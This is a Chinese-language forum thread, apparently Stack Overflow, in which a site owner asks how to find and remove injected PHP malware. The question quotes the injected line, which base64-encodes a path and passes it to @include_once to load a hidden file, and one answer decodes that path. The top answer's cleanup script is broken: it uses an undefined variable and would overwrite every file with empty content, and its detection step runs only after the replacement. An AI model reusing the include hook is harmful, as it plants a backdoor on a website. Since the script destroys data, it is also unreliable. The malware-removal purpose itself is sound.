好的我对php很新,但我知道它可以读取directorys和文件。
我一直在努力解决我们其中一个网站上的恶意软件问题,我需要编写一个脚本来在我的主机空间中搜索它。
黑客放入文件的代码是
*/ $DUOIEK = base64_decode("L2hvbWUvdXNlcnMvd2ViL2IxNjQzL3NsLnRoZWNoZXNzL3B1YmxpY19odG1sL01lZGNvdXJ0QmFja3Vwb2N0MjAwNy9NZWRjb3VydEJhY2t1cG9jdDIwMDctMi9iMmIgY3VzdG9tZXIvQnViYmxlcG9zdCBCYWNrIHVwL3B1YmxpY19odG1sL0JhY2t1cHMvTWVkaWFzdWZhY2UgMjAwNS9IZWxwIGFuZCBkb2N1bWVudGF0aW9uL2phdmEgYXBpL0phdmFBUEkvY29tL21lZGlhc3VyZmFjZS9kYXRhdHlwZXMvc2VhcmNoaW5nL2NsYXNzLXVzZS90c2Rlby5waHA="); @include_once $DUOIEK;/* */?>
我不知道这是什么,但谷歌阻止我的网站显示。
我必须下载所有文件,然后在Dreamweaver中搜索它,用空格替换此垃圾并将其放回去。
我需要一个脚本来在google之前检测到这一点。
如果有人可以给我一些指示,那就很棒
我确信这是每个人现在或以后都会遇到的问题。
答案 0 :(得分:1)
纯PHP解决方案,它将查找并替换您提供的字符串。或者,您可以只获取已修改的文件。 注意:如果您使用此代码,则有 NO UNDO 选项,您使用它需要您自担风险。
$dir = '/your_dir/';
$searchstring = '*/ $DUOIEK = base64_decode("L2hvbWUvdXNlcnMvd2ViL2IxNjQzL3NsLnRoZWNoZXNzL3B1YmxpY19odG1sL01lZGNvdXJ0QmFja3Vwb2N0MjAwNy9NZWRjb3VydEJhY2t1cG9jdDIwMDctMi9iMmIgY3VzdG9tZXIvQnViYmxlcG9zdCBCYWNrIHVwL3B1YmxpY19odG1sL0JhY2t1cHMvTWVkaWFzdWZhY2UgMjAwNS9IZWxwIGFuZCBkb2N1bWVudGF0aW9uL2phdmEgYXBpL0phdmFBUEkvY29tL21lZGlhc3VyZmFjZS9kYXRhdHlwZXMvc2VhcmNoaW5nL2NsYXNzLXVzZS90c2Rlby5waHA="); @include_once $DUOIEK;/* */?>'
$iterator = new RecursiveDirectoryIterator($dir);
foreach (new RecursiveIteratorIterator($iterator) as $filename => $cur)
{
// Search and replace
$contents = file_get_contents($filename);
$contents = str_replace($searchstring, ' ', $content);
file_put_contents($filename, $contents);
// Alternatively, you can do this (instead of search and replace)
if(strpos($contents, $searchstring) !== false)
{
$infected[] = $filename; // gives you an array that gives you paths to files that contain the injected code.
}
}
您可以从浏览器或命令行运行该脚本。我不是说这是最好的选择。
答案 1 :(得分:0)
使用您的FTP下载所有内容并运行查找&替换完整目录(Dreamweaver支持完整目录)。我曾经遇到过这个问题,你可能想在你的代码中查找javascript hacks,他们也倾向于使用javascript包含。
黑客代码尝试包含此文件:
/home/users/web/b1643/sl.thechess/public_html/MedcourtBackupoct2007/MedcourtBackupoct2007-2/b2b customer/Bubblepost Back up/public_html/Backups/Mediasuface 2005/Help and documentation/java api/JavaAPI/com/mediasurface/datatypes/searching/class-use/tsdeo.php
这是什么?我不知道,但这就是它想要做的事情。所以你可能会认为这个hack是在你认为托管的服务器内完成的。
答案 2 :(得分:0)